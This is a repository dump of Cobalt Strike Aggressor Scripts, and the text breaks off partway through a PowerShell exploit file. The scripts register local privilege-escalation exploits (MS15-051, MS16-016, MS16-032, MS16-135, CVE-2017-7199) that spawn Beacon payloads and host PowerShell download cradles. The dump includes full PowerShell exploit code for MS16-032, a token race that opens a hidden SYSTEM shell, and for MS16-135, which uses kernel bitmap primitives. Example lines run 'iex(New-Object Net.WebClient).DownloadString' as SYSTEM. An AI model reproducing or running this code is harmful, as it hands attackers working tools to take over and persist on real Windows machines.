Repository: rasta-mouse/Aggressor-Script
Branch: master
Commit: 6107b54427c1
Files: 11
Total size: 80.9 KB
Directory structure:
gitextract_cv9rrof5/
├── README.md
├── elevate/
│ ├── README.md
│ ├── elevate.cna
│ └── modules/
│ ├── Invoke-MS16032.ps1
│ └── Invoke-MS16135.ps1
├── lateral/
│ └── dcom.cna
├── loader.cna
└── persistence/
├── README.md
├── modules/
│ ├── Invoke-ServicePersistence.ps1
│ └── PSReflect.ps1
└── persistence.cna
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
# Aggressor Scripts
Collection of Aggressor Scripts for Cobalt Strike
## Basic Usage
If you clone the whole repo, you only need to load `loader.cna` into the Script Manager. Child modules will be automatically included.
If you only want to use particular modules, e.g. `elevate`, then load `elevate\elevate.cna` as desired.
## Modules
### Elevate
Exploit local priviledge escalation vulnerabilities
### Persistence
Install persistence mechanisms on compromised hosts
================================================
FILE: elevate/README.md
================================================
## Modules
* MS15-051
* MS16-016
* MS16-032
* MS16-135
* CVE-2017-7199
================================================
FILE: elevate/elevate.cna
================================================
sub ms15_051 {
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via MS15-051");
if (-is64 $1) {
$arch = "x64";
$dll = getFileProper(script_resource("elevate\\modules"), "cve-2015-1701.x64.dll");
}
else {
$arch = "x86";
$dll = getFileProper(script_resource("elevate\\modules"), "cve-2015-1701.x86.dll");
}
# Generate shellcode
$stager = shellcode($2, false, $arch);
# Spawn Beacon with DLL
bdllspawn!($1, $dll, $stager, "ms15-051", 5000);
# Stage
bstage($1, $null, $2, $arch);
}
sub ms16_016_exploit {
# x86 only
if (-is64 $1) {
berror($1, "MS16-016 is x86 only");
return;
}
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via MS16-016");
# Generate shellcode
$stager = shellcode($2, false, "x86");
$dll = getFileProper(script_resource("elevate\\modules"), "cve-2016-0051.x86.dll");
# Spawn Beacon with DLL
bdllspawn!($1, $dll, $stager, "ms16-016", 5000);
# stage our payload (if this is a bind payload)
bstage($1, $null, $2, $arch);
}
sub ms16_032 {
local('$script $oneliner');
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via MS16-032");
# Generate PowerShell
$script = artifact($2, "powershell");
# Host script
$oneliner = beacon_host_script($1, $script);
# Source
$source = getFileProper(script_resource("elevate\\modules"), "Invoke-MS16032.ps1");
# Import & run
bpowershell_import!($1, $source);
bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");
# Wait
bpause($1, 10000);
# Stage
bstage($1, $null, $2);
}
sub ms16_135 {
local('$script $oneliner');
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via MS16-135");
# Generate PowerShell
$script = artifact($2, "powershell");
# Host script
$oneliner = beacon_host_script($1, $script);
# Source
$source = getFileProper(script_resource("elevate\\modules"), "Invoke-MS16135.ps1");
# Import & run
bpowershell_import!($1, $source);
bpowerpick!($1, "Invoke-MS16135 -Command \" $+ $oneliner $+ \"");
# Wait
bpause($1, 10000);
# Stage
bstage($1, $null, $2);
}
sub nessus_agent {
$bid = $1;
$listener = $2;
btask($bid, "Tasked Beacon to run " . listener_describe($listener) . " via CVE-2017-7199");
# Create the dummy java.exe directory
bmkdir!($bid, "C:\\ProgramData\\Tenable\\Nessus Agent\\nessus\\plugins\\java.exe");
if ( -is64 $bid ) { $arch = "x64" }
else { $arch = "x86" }
# Generate stageless artifact
artifact_stageless($listener, "exe", $arch, $null, $this);
yield;
$payload = $1;
# Upload binary
bupload_raw!($bid, "C:\\ProgramData\\Tenable\\Nessus Agent\\nessus\\plugins\\java -version.exe", $payload);
blog2($bid, "Wait for, or force a service/system restart, then link to your Beacon. Also requires manual cleanup.");
}
beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051);
beacon_exploit_register("ms16-016", "mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)", &ms16_016);
beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032);
beacon_exploit_register("ms16-135", "Win32k Elevation of Privilege (CVE-2016-7255)", &ms16_135);
beacon_exploit_register("nessus-agent", "Nessus Agent 6.6.2-6.10.3 (CVE-2017-7199)", &nessus_agent);
================================================
FILE: elevate/modules/Invoke-MS16032.ps1
================================================
function Invoke-MS16032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
Targets:
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
* Tested on x32 Win7, x64 Win8, x64 2k12R2
Notes:
* In order for the race condition to succeed the machine must have 2+ CPU
cores. If testing in a VM just make sure to add a core if needed mkay.
* The exploit is pretty reliable, however ~1/6 times it will say it succeeded
but not spawn a shell. Not sure what the issue is but just re-run and profit!
* Want to know more about MS16-032 ==>
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736
EDIT: This script has been edited to include a parameter for custom commands and
also hides the spawned shell. Many comments have also been removed and echo has
moved to Write-Verbose. The original can be found at:
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
.EXAMPLE
C:\PS> Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')"
Description
-----------
Will run the iex download cradle as SYSTEM
#>
[CmdletBinding()]
param(
[Parameter(Position=0,Mandatory=$True)]
[String]
$Command
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)
$ProcessInfo = New-Object PROCESS_INFORMATION
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
Write-Verbose "`n[?] Trying thread handle: $Thread"
Write-Verbose "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($Thread)
if ($CallResult -ne 0) {
Write-Verbose "[!] $Thread is a bad thread, moving on.."
Return
} Write-Verbose "[+] Thread suspended"
Write-Verbose "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
if (!$CallResult) {
Write-Verbose "[!] SetThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
Write-Verbose "[+] Thread resumed!"
Return
}
Write-Verbose "[>] Building SYSTEM impersonation token"
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
if ($CallResult -ne 0) {
Write-Verbose "[!] NtImpersonateThread failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
Write-Verbose "[+] Thread resumed!"
Return
}
$script:SysTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
Write-Verbose "[!] OpenThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
Write-Verbose "[+] Thread resumed!"
Return
}
Write-Verbose "[?] Success, open SYSTEM token handle: $SysTokenHandle"
Write-Verbose "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($Thread)
}
$ms16032 = @"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
"@
$ms16032
Write-Verbose "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
"[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
$ThreadArray = @()
$TidArray = @()
Write-Verbose "[>] Duplicating CreateProcessWithLogonW handles.."
for ($i=0; $i -lt 500; $i++) {
$hThread = Get-ThreadHandle
$hThreadID = [Kernel32]::GetThreadId($hThread)
if ($TidArray -notcontains $hThreadID) {
$TidArray += $hThreadID
if ($hThread -ne 0) {
$ThreadArray += $hThread
}
}
}
if ($($ThreadArray.length) -eq 0) {
"[!] No valid thread handles were captured, exiting!"
Return
} else {
Write-Verbose "[?] Done, got $($ThreadArray.length) thread handle(s)!"
Write-Verbose "`n[?] Thread handle list:"
}
Write-Verbose "`n[*] Sniffing out privileged impersonation token.."
foreach ($Thread in $ThreadArray){
Get-SystemToken
Write-Verbose "`n[*] Sniffing out SYSTEM shell.."
Write-Verbose "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
Write-Verbose "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($Thread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
}
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
Write-Verbose "[>] Starting process race"
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
$StartupInfo = New-Object STARTUPINFO
# 2 lines added to hide window
$StartupInfo.dwFlags = 0x00000001
$StartupInfo.wShowWindow = 0x00000000
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
$ProcessInfo = New-Object PROCESS_INFORMATION
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe", " -command $Command",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
if (!$CallResult) {
"`n[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
}
$StartTokenRace.Stop()
$SafeGuard.Stop()
}
}
================================================
FILE: elevate/modules/Invoke-MS16135.ps1
================================================
function Invoke-MS16135 {
<#
.SYNOPSIS
PowerShell implementation of MS16-135 (CVE-2016-7255).
Discovered by Neel Mehta and Billy Leonard of Google Threat Analysis Group Feike Hacquebord, Peter Pi and Brooks Li of Trend Micro
Credit for the original PoC : TinySec (@TinySecEx)
Credit for the Powershell implementation : Ruben Boonen (@FuzzySec)
Targets:
* Win7-Win10 (x64 only)
Successfully tested on :
* Win7 x64
* Win8.1 x64
* Win10 x64
* Win2k12 R2 x64
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
EDIT: This script has been edited to include a parameter for custom commands and
also hides the spawned shell. Many comments have also been removed and echo has
moved to Write-Verbose. The original can be found at:
https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Sample-Exploits/MS16-135/MS16-135.ps1
.EXAMPLE
C:\PS> Invoke-MS16135 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')"
Description
-----------
Will run the iex download cradle as SYSTEM
#>
[CmdletBinding()]
param(
[Parameter(Position=0,Mandatory=$True)]
[String]
$Command
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
[StructLayout(LayoutKind.Sequential)]
public struct INPUT
{
public int itype;
public KEYBDINPUT U;
public int Size;
}
[StructLayout(LayoutKind.Sequential)]
public struct KEYBDINPUT
{
public UInt16 wVk;
public UInt16 wScan;
public uint dwFlags;
public int time;
public IntPtr dwExtraInfo;
}
[StructLayout(LayoutKind.Sequential)]
public struct tagMSG
{
public IntPtr hwnd;
public UInt32 message;
public UIntPtr wParam;
public UIntPtr lParam;
public UInt32 time;
public POINT pt;
}
public struct POINT
{
public Int32 x;
public Int32 Y;
}
public class ms16135
{
delegate IntPtr WndProc(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
struct WNDCLASSEX
{
public uint cbSize;
public uint style;
public IntPtr lpfnWndProc;
public int cbClsExtra;
public int cbWndExtra;
public IntPtr hInstance;
public IntPtr hIcon;
public IntPtr hCursor;
public IntPtr hbrBackground;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszMenuName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszClassName;
public IntPtr hIconSm;
}
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern System.UInt16 RegisterClassW(
[System.Runtime.InteropServices.In] ref WNDCLASSEX lpWndClass);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr CreateWindowExW(
UInt32 dwExStyle,
[MarshalAs(UnmanagedType.LPWStr)]
string lpClassName,
[MarshalAs(UnmanagedType.LPWStr)]
string lpWindowName,
UInt32 dwStyle,
Int32 x,
Int32 y,
Int32 nWidth,
Int32 nHeight,
IntPtr hWndParent,
IntPtr hMenu,
IntPtr hInstance,
IntPtr lpParam);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
static extern System.IntPtr DefWindowProcW(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
public static extern bool DestroyWindow(
IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool UnregisterClass(
String lpClassName,
IntPtr hInstance);
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetModuleHandleW(
[MarshalAs(UnmanagedType.LPWStr)]
String lpModuleName);
[DllImport("user32.dll", EntryPoint="SetWindowLongPtr")]
public static extern IntPtr SetWindowLongPtr(
IntPtr hWnd,
int nIndex,
IntPtr dwNewLong);
[DllImport("user32.dll")]
public static extern bool ShowWindow(
IntPtr hWnd,
int nCmdShow);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr SetParent(
IntPtr hWndChild,
IntPtr hWndNewParent);
[DllImport("user32.dll", SetLastError = false)]
public static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll")]
public static extern bool SetForegroundWindow(
IntPtr hWnd);
[DllImport("user32.dll", SetLastError=true)]
public static extern void SwitchToThisWindow(
IntPtr hWnd,
bool fAltTab);
[DllImport("user32.dll")]
public static extern bool GetMessage(
out tagMSG lpMsg,
IntPtr hWnd,
uint wMsgFilterMin,
uint wMsgFilterMax);
[DllImport("user32.dll")]
public static extern bool TranslateMessage(
[In] ref tagMSG lpMsg);
[DllImport("user32.dll")]
public static extern IntPtr DispatchMessage(
[In] ref tagMSG lpmsg);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr SetFocus(
IntPtr hWnd);
[DllImport("user32.dll")]
public static extern uint SendInput(
uint nInputs,
[In] INPUT pInputs,
int cbSize);
[DllImport("gdi32.dll")]
public static extern int GetBitmapBits(
IntPtr hbmp,
int cbBuffer,
IntPtr lpvBits);
[DllImport("gdi32.dll")]
public static extern int SetBitmapBits(
IntPtr hbmp,
int cbBytes,
IntPtr lpBits);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
public UInt16 CustomClass(string class_name)
{
m_wnd_proc_delegate = CustomWndProc;
WNDCLASSEX wind_class = new WNDCLASSEX();
wind_class.lpszClassName = class_name;
///wind_class.cbSize = (uint)Marshal.SizeOf(wind_class);
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
return RegisterClassW(ref wind_class);
}
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
return DefWindowProcW(hWnd, msg, wParam, lParam);
}
private WndProc m_wnd_proc_delegate;
}
"@
#==============================================================[Banner]
$ms16135 = @"
_____ _____ ___ ___ ___ ___ ___
| | __|_ | | _|___|_ | |_ | _|
| | | |__ |_| |_| . |___|_| |_|_ |_ |
|_|_|_|_____|_____|___| |_____|___|___|
[by b33f -> @FuzzySec]
"@
$ms16135
if ([System.IntPtr]::Size -ne 8) {
"`n[!] Target architecture is x64 only!`n"
Return
}
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$Script:OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Win10 / 2k16
{
Write-Verbose "[?] Target is Win 10"
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
}
'6.3' # Win8.1 / 2k12R2
{
Write-Verbose "[?] Target is Win 8.1"
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
}
'6.2' # Win8 / 2k12
{
Write-Verbose "[?] Target is Win 8"
Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n"
}
'6.1' # Win7 / 2k8R2
{
Write-Verbose "[?] Target is Win 7"
Write-Verbose "[+] Bitmap dimensions: 0x770*0x4`n"
}
}
function Get-LoadedModules {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_MODULE_INFORMATION
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
public UIntPtr[] Reserved;
public IntPtr ImageBase;
public UInt32 ImageSize;
public UInt32 Flags;
public UInt16 LoadOrderIndex;
public UInt16 InitOrderIndex;
public UInt16 LoadCount;
public UInt16 ModuleNameOffset;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
internal Char[] _ImageName;
public String ImageName {
get {
return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0];
}
}
}
public static class Ntdll
{
[DllImport("ntdll.dll")]
public static extern int NtQuerySystemInformation(
int SystemInformationClass,
IntPtr SystemInformation,
int SystemInformationLength,
ref int ReturnLength);
}
"@
[int]$BuffPtr_Size = 0
while ($true) {
[IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
$SystemInformationLength = New-Object Int
$CallResult = [Ntdll]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
if ($CallResult -eq 0xC0000004) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
[int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
}
elseif ($CallResult -eq 0x00000000) {
break
}
else {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
return
}
}
$SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION
$SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
$SYSTEM_MODULE_INFORMATION_Size = 284
} else {
$SYSTEM_MODULE_INFORMATION_Size = 296
}
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
$SystemModuleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
$SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION)
$HashTable = @{
ImageName = $Cast.ImageName
ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()}
ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)"
}
$Object = New-Object PSObject -Property $HashTable
$SystemModuleArray += $Object
$BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size
}
$SystemModuleArray
# Free SystemModuleInformation array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
}
function Stage-gSharedInfoBitmap {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class gSharedInfoBitmap
{
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
[DllImport("user32.dll")]
public static extern IntPtr CreateAcceleratorTable(
IntPtr lpaccl,
int cEntries);
[DllImport("user32.dll")]
public static extern bool DestroyAcceleratorTable(
IntPtr hAccel);
}
"@
if ([System.IntPtr]::Size -eq 4) {
$x32 = 1
}
function Create-AcceleratorTable {
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000)
$AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size
$User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll")
$gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo")
if ($x32){
$gSharedInfo = $gSharedInfo.ToInt32()
} else {
$gSharedInfo = $gSharedInfo.ToInt64()
}
$aheList = $gSharedInfo + [System.IntPtr]::Size
if ($x32){
$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList)
